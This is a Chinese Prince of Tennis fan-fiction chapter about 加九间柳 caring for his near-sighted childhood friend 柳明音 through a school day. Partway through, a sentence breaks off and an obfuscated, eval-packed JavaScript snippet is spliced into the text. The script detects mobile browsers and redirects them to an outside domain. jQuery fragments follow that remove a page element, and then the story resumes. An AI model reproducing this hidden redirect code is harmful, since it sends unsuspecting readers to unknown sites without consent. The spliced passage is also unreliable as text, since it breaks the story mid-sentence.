清晨四点整,加九间柳准时睁开眼睛。神奈川的空气还带着海潮般的湿润凉意。他完成洗漱,前往演武场开始晨训,在五点四十五结束,六点整时已简单冲洗完毕换上熨烫平整的立海大校服,然后径直走向厨房。
从冰箱里拿出牛奶、鸡蛋、吐司和果酱,他的动作有条不紊。煎蛋的火候恰到好处,吐司烤至边缘微焦的金黄色,牛奶温热到刚好入口不烫的程度。他将两份早餐分别放在两个盘子里,其中一份的吐司上涂抹了格外厚实的草莓果酱——是他的偏好。
做完这一切,时间刚好指向六点三十五分。他解下围裙,并没有立刻坐下享用早餐,而是走到玄关,穿上室外鞋,安静地出了门。
他的目的地就在隔壁。他站在柳家门前,没有按门铃,而是从口袋掏出一把钥匙,轻轻插入锁孔,转动。
门悄无声息地开了。他对柳家的熟悉程度不亚于自己家。屋内一片寂静,柳明音的父母通常更早上班,此时早已出门。
加九间柳熟门熟路地走上二楼,停在最里侧的房间门前。门上挂着一个手写的牌子,字体有些张扬潦草:“生人勿近,熟人也慎入!!”,下面还画了个小小的骷髅头。他无视了警告,直接拧开门把手。
房间里的景象与门外整洁的走廊形成鲜明对比。窗帘拉得严严实实,光线昏暗,空气中弥漫着淡淡的属于柳明音的气息,混合着一点纸张和墨水的味道。衣物随意地搭在椅背上,书桌上散落着几本翻开的漫画和习题集。
而最引人注目的,是房间阴暗的墙角。那里堆放着十几个闹钟,形态各异,但无一例外都呈现出某种“非正常死亡”状态——有的外壳碎裂,有的电池被抠出,有的指针扭曲,甚至有一个被胶带缠得像个木乃伊。
房间的主人此刻正深陷在柔软的被褥中,只露出一头浅褐色的乱发和半张脸,呼吸均匀绵长,显然正与周公难舍难难分。
加九间柳走到床边,安静地看了一会儿。然后他伸出手,轻轻推了推被子下鼓起来的那一团。
“明音,该起床了。”
被子里的人毫无反应,甚至不耐烦地咕哝了一声,把头埋得更深了。
加九间柳并不气馁,他似乎早已习惯了这项每日任务。他想了想,伸出两根手指捏住被子的一角,然后一点点往下拉。
柳明音的抵抗意识在睡梦中依然顽强,他下意识地攥紧被沿,双方展开了一场无声的拔河。最终,加九间柳成功将被子拉到了对方下巴的位置。
柳明音皱紧了眉头,眼睛死死闭着,表达着无声的抗议,整个人下意识地蜷缩起来。
晨光透过窗帘的缝隙,恰好落在他脸上,勾勒出少年人柔和却带着明显起床气的轮廓。加九间柳的目光在他脸上停留了几秒,然后做出了一个极其自然的动作——他弯下腰,用自己的侧脸轻轻贴了贴柳明音露在外面在被子里捂得温热的脸颊。
他的体温通常偏低,脸颊带着晨间的微凉。
“唔……”柳明音被这突如其来的凉意激得哼了一声,睫毛颤动了几下,终于极其不情愿地艰难掀开了一条眼缝。
模糊的视线里,是加九间柳那张近在咫尺的异常熟悉的脸。
“……小柳?”他的声音含混不清,带着浓重的睡意和被打扰的不满,“……走开……困……”
“早餐准备好了。”加九间柳直起身,语气带着不容置疑的坚持,“该起床了。”
“五分钟……就五分钟……”柳明音企图蒙混过关,眼睛又要闭上。
加九间柳沉默了一下,忽然伸出手,指尖轻轻拂过柳明音额前翘起的乱发,然后……极其轻微地挠了挠他的下巴。动作生涩却带着一种奇异的亲昵,像是在试图安抚一只闹脾气的猫。
柳明音似乎被这罕见又别扭的逗弄方式取悦了,或者说,是彻底弄没了脾气。他闭着眼,嘴角却忍不住向上弯了一下,含混地抱怨:“……你这都是跟谁学的。”
虽然这么说着,他还是磨磨蹭蹭地挣扎着从温暖的被窝里坐了起来,眼睛半睁半闭,整个人散发着“我很不爽但拿你没办法”的气场。
加九间柳见他坐起来,便不再催促,只是安静地站在床边等着,仿佛完成任务后待机的机器人。
柳明音迷迷糊糊地发了几分钟呆,终于勉强驱散了部分睡意,晃晃悠悠地爬下床,趿拉着拖鞋,梦游般飘向洗漱间。加九间柳就跟在他身后,确保他不会一头撞在门框上。
十几分钟后,洗漱完毕换好校服的柳明音总算看起来清醒了不少,虽然眼角还残留着一点慵懒。
吃完早餐,收拾好餐具,两人并肩出门。晨光正好,将他们的影子投在干净的步道上。
“说起来,”柳明音忽然想起什么,侧头看向加九间柳,“昨天你把切原前辈教训得不轻,我看到你腿上的淤青了,没事吧?”
“没事。”加九间柳回答,顿了顿,补充道,“他明白了。”
“是啊,看出来了,离开时有点魂不守舍,嘴里还念叨着什么‘前辈’、‘尊敬’……”柳明音忍不住笑起来,“你最后跟他说什么了?效果这么惊人?”
加九间柳回想了一下,诚实回答:“说他值得尊敬。”
柳明音:“……就这么简单?”
加九间柳:“嗯。”
柳明音扶额,随即又笑得肩膀直抖:“果然是你的风格。”
路上,他们会经过一个街心公园。有时会遇到晨跑的邻居,柳明音会笑着打招呼,有加九间柳在旁边小声提醒,他并不怕认错人。加九间柳则会微微颔首示意。柳明音的话总是多一些,会聊起昨晚看的电视节目,或者班里发生的趣事,加九间柳大多安静地听着,偶尔才会简短地回应一两句。
但这种沉默从不冷场。柳明音知道加九间柳在认真听。
走到学校附近,已经开始能看到三三两两穿着同样校服的学生,周围的学生多了起来。柳明音只能勉强分辨出人影,细节一概模糊。这时他才意识到自己遗忘了什么——他的眼镜。
“小心台阶。”加九间柳低声提醒。
“哦、哦!”柳明音连忙低头,勉强看清台阶边缘。
然而,就在走向自己班级的走廊上,意外还是发生了。“砰”地一下,柳明音结结实实撞在了半开着的教室门框上,疼得他“嘶”了一声。
“没事吧?”加九间柳扶住他。
“没、没事……”柳明音揉着额头。
好不容易摸到教室门口,他眯着眼,判断了一下门的位置,小心地伸手去推——结果推了个空,手按在了门边的墙壁上,身体因为惯性又往前一倾,肩膀轻轻撞在了门板上,发出不大不小的一声“咚”。
班里已经到的几个同学闻声看过来,就看到柳明音眯着眼,一脸茫然地对着门边的墙壁小声说着“抱歉”,然后才摸索到真正的门把手,窘迫地溜了进来。而他身后,是眼神里明显透着一丝无奈的加九间柳。
“明音君,你没事吧?”一个女生关切地问。
“啊哈哈……没事,只是忘了带眼镜……”柳明音干笑着,眯着眼努力辨认着声音的方向,好在是有惊无险正确地摸到了自己的位置。加九间柳在他旁边坐下,默默递过来一张纸巾——他刚才撞门时额头沾了点灰。
整个上午,柳明音都处于一种“半盲”状态。黑板上的字是一片模糊的光影,老师的表情根本看不清,只能靠耳朵拼命听和加九间柳偶尔推过来的笔记度过。
午休铃声如同天籁。便当盒被拿出。加九间柳准备的便当一如既往的丰盛,炸虾天妇罗金黄酥脆,肉卷香气扑鼻,玉子烧嫩滑,甚至连西蓝花和胡萝卜都摆放得整整齐齐——这后者显然是为了应对柳莲二的数据监控而存在的“健康装饰”。
“去天台?”加九间柳问。
“去!”柳明音立刻点头,在人多的地方完全看不清谁是谁,他眯着眼跟着加九间柳往外走。
其实天台也有不少学生在此用餐。丸井文太和胡狼桑原也在,看到他们上来便招手:“这边这边!”
“哦!是幸村前辈和真田前辈吗?”柳明音眯着眼努力辨认着模糊的人影轮廓。
“噗,明音,你这眼神没救了啦!”丸井笑着吹了个泡泡。
切原赤也也端着便当盒蹦了过来:“加九间!柳明音!你们也来天台啊!”他看起来精神不错,似乎已经完全从昨天的打击
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360817|183667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中恢复,只是看到加九间柳时眼神里多了一点不好意思。
大家围坐在一起。加九间柳打开便当盒,诱人的香气立刻飘散开来。
“哇!加九间你的便当看起来还是这么好吃!”切原眼睛发亮。
加九间柳默默地将便当盒往中间推了推,示意大家可以分享。
柳明音眯着眼,努力对付着自己饭盒里的食物。加九间柳瞥了他一眼,又看了看自己饭盒里那些作为“摆设”的蔬菜,沉默地拿起筷子,极其自然地将几块西蓝花和胡萝卜夹到了柳明音的饭盒里,动作快而隐蔽。
柳明音正眯着眼努力夹一块炸虾,根本没注意到自己饭盒里多了点“健康色彩”。加九间柳面不改色,正准备继续“转移”青椒时,一个平静无波的声音在他身后响起:
“柳,数据显示,你今日蔬菜摄入量预计又将低于标准值17.8%。并且,试图将指定摄入物转移给他人,不符合训练营养计划。”
加九间柳的动作瞬间僵住。
柳莲二不知何时如同幽灵般出现在他们身后,笔记本摊开,目光透过镜片落在加九间柳还没来得及收回的筷子和柳明音饭盒里多出来的蔬菜上。
柳明音吓了一跳,虽然看不清,但从说话风格也能辨认:“诶?是柳前辈吗?”
丸井和切原在一旁憋笑憋得辛苦。
加九间柳默默收回筷子,看了一眼自己饭盒里剩下的青椒,沉默地夹起来,送进嘴里,面无表情地咀嚼起来,仿佛在完成一项艰巨的任务。
柳莲二满意地在本子上记录了什么,飘然离去。
下午的部活时间对柳明音来说更是灾难。球场上来回奔跑的人影在他眼里就是一团团移动的色块,除了身边那个气息无比熟悉的加九间柳,他根本分不清谁是谁。
“柳明音!反应太慢了!”真田的吼声从一个方向传来,柳明音只能眯着眼朝那个模糊的声源方向鞠躬道歉:“是!非常抱歉副部长!”
但他转错了角度,差点对着空气鞠躬。
练习间隙,一个熟悉但感觉有点怪的声音响起:“噗哩,明音君,你还好吗?”是学了一下仁王雅治口癖的柳生比吕士。
柳明音努力眯眼,看到一个模糊的人影(装成柳生的仁王雅治),旁边还站着一个更高些的模糊人影(柳生比吕士)。
“是仁王前辈吗?”柳明音不确定地猜测。
“噗哩~那我是谁呀?”仁王坏笑着追问,甚至悄悄和旁边的柳生换了个位置。
柳明音努力眯眼,感觉眼前还是两个模糊影子,只是高矮好像有点变化?他更加困惑了,无措地眨着眼:“对、对不起。”
“很有趣不是吗,比吕士?”仁王笑着对身边的搭档说。
“仁王君,请不要过度捉弄视力障碍的后辈。”柳生推了推眼镜,语气冷静仿佛刚刚跟着恶作剧的不是他。
“噗哩~只是关心一下嘛。”
其他正在休息的正选们看着这一幕,心里想法出奇的一致:有趣。
回去的路上,加九间柳看了因为今天的意外而面露迷茫的柳明音一会儿,然后默默地伸出手,握住了柳明音的手腕。
柳明音愣了一下。
但加九间柳并没有松开,而是顺势向下,握住了他的手。他的手掌干燥而温暖,带着常年握拍留下的薄茧,力道沉稳而令人安心。
“跟着我。”
柳明音脸上的热度刚刚因为部活的疲惫而消退,此刻又“腾”地一下冒了上来。被幼驯染牵手领路……这好像是小学毕业后就没有过的事情了。他下意识地想抽回手,却被加九间柳更紧地握住。
“会摔。”加九间柳目视前方,简单地吐出两个字。
柳明音抿了抿嘴,最终放弃了挣扎,没有解释其实自己还是能看得到路的,任由加九间柳牵着他。指尖传来的温度和确切的引领感,奇异地驱散了他一整天因为看不清而产生的焦躁和不安。
他微微收紧手指,回握住对方。
加九间柳的脚步似乎几不可查地顿了一下,随即恢复如常。
夕阳将这对牵着手的少年身影逐渐拉长,融合在神奈川傍晚温暖的色调里。